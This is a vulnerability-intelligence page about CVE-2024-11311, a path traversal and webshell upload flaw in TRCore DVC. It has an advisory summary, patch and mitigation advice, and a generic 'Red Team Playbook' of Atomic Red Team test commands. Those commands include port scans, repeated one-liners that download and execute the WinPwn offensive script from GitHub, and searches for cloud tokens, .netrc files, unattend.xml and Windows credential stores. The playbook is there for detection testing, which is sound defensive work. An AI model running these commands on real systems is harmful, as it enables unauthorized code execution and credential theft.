CVE-2024-11311
Overview
This vulnerability in TRCore DVC is a path traversal and unrestricted file upload flaw rooted in insufficient validation of file paths and upload content types. The affected component fails to sanitize user-supplied input, allowing traversal outside intended directories and acceptance of arbitrary file formats. This lack of input restriction in the file upload functionality enables unauthorized file placement within the system's directory structure.
Vulnerability Description
The DVC from TRCore has a Path Traversal vulnerability and does not restrict the types of uploaded files. This allows unauthenticated remote attackers to upload arbitrary files to any directory, leading to arbitrary code execution by uploading webshells.
Impact
An unauthenticated remote attacker can exploit this vulnerability to upload arbitrary files, including webshells, to any directory on the server. This capability enables execution of arbitrary code with the privileges of the web server process, potentially leading to full system compromise. The attack requires only network access to the vulnerable upload endpoint and no user interaction. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms remote exploitation without authentication or user involvement.
Solution
According to the Taiwan Computer Emergency Response Team advisories (https://www.twcert.org.tw/tw/cp-132-8246-d462a-1.html and https://www.twcert.org.tw/en/cp-139-8247-83457-2.html), users of TRCore DVC should apply the vendor-supplied patches addressing file upload validation and path traversal restrictions. Specific patch versions and update instructions are detailed in these advisories. Until patches are applied, it is recommended to restrict network access to the upload interface and monitor for suspicious file uploads.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the DVC from TRCore is characterized by a path traversal flaw that permits unauthorized file uploads without adequate restrictions on file types. This weakness arises from improper validation of user inputs, allowing attackers to manipulate file paths and potentially upload malicious files to arbitrary directories on the server. The absence of stringent controls over the types of files that can be uploaded exacerbates the issue, as it opens the door for attackers to introduce web shells or other executable scripts that can be invoked by the server. This flaw highlights a critical oversight in the application's security architecture, where user input is not sufficiently sanitized or validated.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated remote attacker could leverage the flaw by crafting a malicious request that includes a specially formatted file path. By exploiting the path traversal vulnerability, the attacker can navigate the file system and upload a web shell to a location accessible by the web server. Once the web shell is successfully uploaded, the attacker gains the ability to execute arbitrary commands on the server, leading to potential full system compromise. This scenario underscores the ease with which an attacker can exploit the vulnerability, particularly in environments where security measures such as authentication and file type validation are inadequately implemented.
The real-world implications of this vulnerability are significant, particularly for organizations that utilize the DVC from TRCore. The potential for arbitrary code execution poses a severe risk to the confidentiality, integrity, and availability of sensitive data. An attacker gaining access to the server could exfiltrate sensitive information, disrupt services, or even pivot to other systems within the network, leading to a broader compromise. The financial ramifications could be substantial, including costs associated with incident response, recovery, and potential legal liabilities stemming from data breaches. Furthermore, the reputational damage incurred from such an incident could have long-lasting effects on customer trust and brand integrity.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, it is crucial to conduct thorough security assessments and penetration testing to identify and remediate any path traversal vulnerabilities within the application. Employing web application firewalls (WAFs) can provide an additional layer of protection by monitoring and filtering out malicious requests. Furthermore, implementing strict file upload policies, including whitelisting allowed file types and enforcing size limits, can significantly reduce the risk of unauthorized file uploads. Regularly updating and patching the application, along with maintaining a robust incident response plan, will also enhance the organization's resilience against potential exploitation.
In conclusion, the path traversal vulnerability in the DVC from TRCore represents a critical security concern that can lead to severe consequences if left unaddressed. The ease of exploitation, coupled with the potential for significant real-world impact, necessitates immediate attention from organizations using this product. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems and protect against the risks associated with this vulnerability, ultimately ensuring a more secure operational environment.
Recent CSURFACE threat intelligence indicates a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-11311, rising by approximately one-third. This upward adjustment reflects a growing likelihood of exploitation attempts targeting the path traversal vulnerability in TRCore’s DVC component. Although no new exploit techniques or proof-of-concept code have surfaced, the rising EPSS score signals heightened attacker interest and potential preparatory activity. For defenders, this trend underscores an elevated risk environment where opportunistic threat actors may intensify scanning and exploitation efforts, increasing the probability of successful unauthorized file uploads and subsequent arbitrary code execution. Consequently, the overall threat level for this vulnerability has shifted from a static critical risk to a more dynamic and imminent concern, warranting increased vigilance in monitoring and detection capabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Trcore | Dvc | All |
cpe:2.3:a:trcore:dvc:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11311 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-8246-d462a-1.html |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/en/cp-139-8247-83457-2.html |